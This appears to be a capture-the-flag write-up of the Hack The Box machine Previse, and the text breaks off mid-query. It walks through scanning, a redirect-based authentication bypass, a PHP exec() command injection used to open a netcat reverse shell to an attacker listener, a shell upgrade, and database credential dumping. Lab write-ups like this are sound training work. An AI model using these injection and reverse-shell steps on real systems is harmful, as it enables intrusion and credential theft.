Previse Writeup

Today we publish the first post of a new series: Hacking Around. With this series, we want to share some interesting writeups about CTF machines around the most famous websites. So we present you a Previse Writeup (Hack The Box machine), let’s go!

Previse was a funny easy HTB machine that require a little bit of knowledge about web application vulnerabilities. First, you must find a way to bypass user authentication, and only after you can have the possibility to get a shell through a command injection vulnerability. Finally, the root flag can be obtained by exploiting an insecure configuration of the /etc/sudoers file.

Port scanning

The Nmap scan finds only two TCP (22 and 80) ports on this machine.

root@kali:~/Previse# nmap -p- -T4 -Pn 10.10.11.104 
Host is up (0.045s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
root@kali:~/Previse# nmap -p 22,80 -sV -sC -Pn 10.10.11.104 PORT   STATE SERVICE VERSION 22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |_  [...snippet...] 80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu)) |_  [...snippet...] 

Port 80 – Webserver Enumeration

The index page shows only a login page (NOT vulnerable at SQLi) and nothing else that needs to be further investigated.

Previse File Storage

So, we must investigate further outside the content of the page itself to find some vulnerabilities, for example with web-content discovery techniques. In this case, the tool used was gobuster.

root@kali:~/Previse# gobuster dir -u http://10.10.11.104/ -w raft-medium-files.txt /index.php            (Status: 302) [Size: 2801] [--> login.php] /login.php            (Status: 200) [Size: 2224] /download.php         (Status: 302) [Size: 0] [--> login.php]   /config.php           (Status: 200) [Size: 0] /footer.php           (Status: 200) [Size: 217] /header.php           (Status: 200) [Size: 980] /favicon.ico          (Status: 200) [Size: 15406] /logout.php           (Status: 302) [Size: 0] [--> login.php] /status.php           (Status: 302) [Size: 2968] [--> login.php] /nav.php              (Status: 200) [Size: 1248] /accounts.php         (Status: 302) [Size: 3994] [--> login.php] /files.php            (Status: 302) [Size: 4914] [--> login.php]

The command output shows a lot of pages that redirect to login.php. This is because the web application controls access to internal restricted pages by redirecting unauthenticated users to the login page. This is implemented using the “302 Found” HTTP redirection response and the location header.

Furthermore, note that the navigation page (nav.php) of the restricted area is publicly accessible. The source code of the nav.php file reveals that we can create a valid user using the accounts.php page.

[...snippet...] 
<ul class="uk-nav uk-navbar-dropdown-nav">
<li><a href="accounts.php">CREATE ACCOUNT</a> </li>
</ul>
[...snippet...]

Improper Redirect

As previously described, if we try to connect to accounts.php the browser follows the redirect and shows the page pointed by theLocationheader field of the HTTP response.

HTTP/1.1 302 Found 
Location: login.php
Content-Type: text/html; charset=UTF-8
[...snippet...]

At this point, we can try to test the implementation of the redirection functionality. Indeed, its poor implementation could lead to an exploit vector.
An example of poor implementation in PHP may be represented by the following code snippet:

<?php 
session_start();
if (!isset($_SESSION['user'])) {
header('Location: login.php');
}?>
<?php echo 'secret'; ?>

This code block has an important security flaw. Indeed, the PHP server will also send, inside the body of 302 Found responses, the content of the restricted page.
You can check and exploit this vulnerability in two different ways:

  • by using tools that don’t follow redirects (e.g. curl)
root@kali:~/Previse# curl http://10.10.11.104/accounts.php 
<!DOCTYPE html>
<html>
[...snippet...]
</html>
  • by using Burp Suite Intruder: in this case we can intercept the 302 HTTP response of the web-server response before it is analyzed by the browser and change the status code to 200 OK (since Burp does not intercept responses by default, you need to click: Action -> Do Intercept -> Response to this request)
Burp Intruder

Using both these methods, we find this implementation to be vulnerable, so we can gain access to the restricted page, from where we can create a new user.

Web application

Now, we can see the restricted area using the user that we have just created. There, we will find a backup of the web application running on the vulnerable machine.

Previse Uploaded Files

These files are very important because with them we can see how the web application works. Indeed, by analyzing these files, we can see two security flaws:

  • A vulnerability of information disclosure contained inside the file config.php. You can read the credentials that the web application uses to access to the MySQL database that is only exposed on localhost (for this reason, you see the port 3306 closed inside the Nmap output).
root@kali:~/Previse# cat siteBackup/config.php 
<?php
function connectDB(){
$host = 'localhost';
$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';
$db = 'previse';
$mycon = new mysqli($host, $user, $passwd, $db);
return $mycon;
}
?>
  • A code injection vulnerability inside logs.php. Users, using this page, can download server logs in various formats (with different delimiters).
Previse Request Log Data

Unfortunately, this feature is implemented with the exec PHP function and the developer doesn’t handle the user input in the right way.

///////////////////////////////////////////////////////////////////////////////////// 
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;

The exec function lets PHP execute a given command. In this case, the exec runs a Python script with an argument obtained from the body of the HTTP POST request (e.g. comma). Unfortunately, the developer doesn’t sanitize the user input and therefore we can execute arbitrary commands. Indeed, as shown in the figure below, we can append our commands inside the delim field of the POST request. For example, we can use netcatto listen for incoming connections on our attacker machine and then inject a command that allows us to launch a reverse shell withnetcat.

Previse Burp Repeater

Once we gain access to the machine, we find out that we are logged as the user www-data. Sadly, this user is not allowed to read the user flag which is located in the file /home/m4lwhere/user.txt, which can only be read by the user m4lwhere.

root@kali:~/Previse# nc -lvnp 3333 
listening on [any] 3333 ...
connect to [10.10.14.116] from (UNKNOWN) [10.10.11.104] 36828
whoami
www-data
ls -al /home/m4lwhere/user.txt
-r-------- 1 m4lwhere m4lwhere 33 Jan 1 22:43 /home/m4lwhere/user.txt

So, we must try to find a way to log as this user, using some privilege escalation technique.

Privilege escalation

In order to look around in a smoother way, the first thing to do here is to upgrade our shell. This can be done in many ways, but the simplest method is the one that makes use of Python. Since we gained access to the machine thanks to PHP executing a Python script, we know that Python is installed for sure. The command to issue is hence the following:

python -c 'import pty; pty.spawn("/bin/bash")'

At this point, we can access and inspect the MySQL database exposed on localhost. Among the tables we can find an accounts table, so we make a query to try to obtain some credentials.

www-data@previse:~$ mysql -u root -D previse -p 
Enter password:
mysql> show tables ;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts |
| files |
+-------------------+
mysql> SELECT * FROM accounts;
----+----------+------------------------------------------+---------------------+
| id | username | password | created_at |
+----+----------+-----------------------------------------+---------------------+
| 1 | m4lwhere | $1$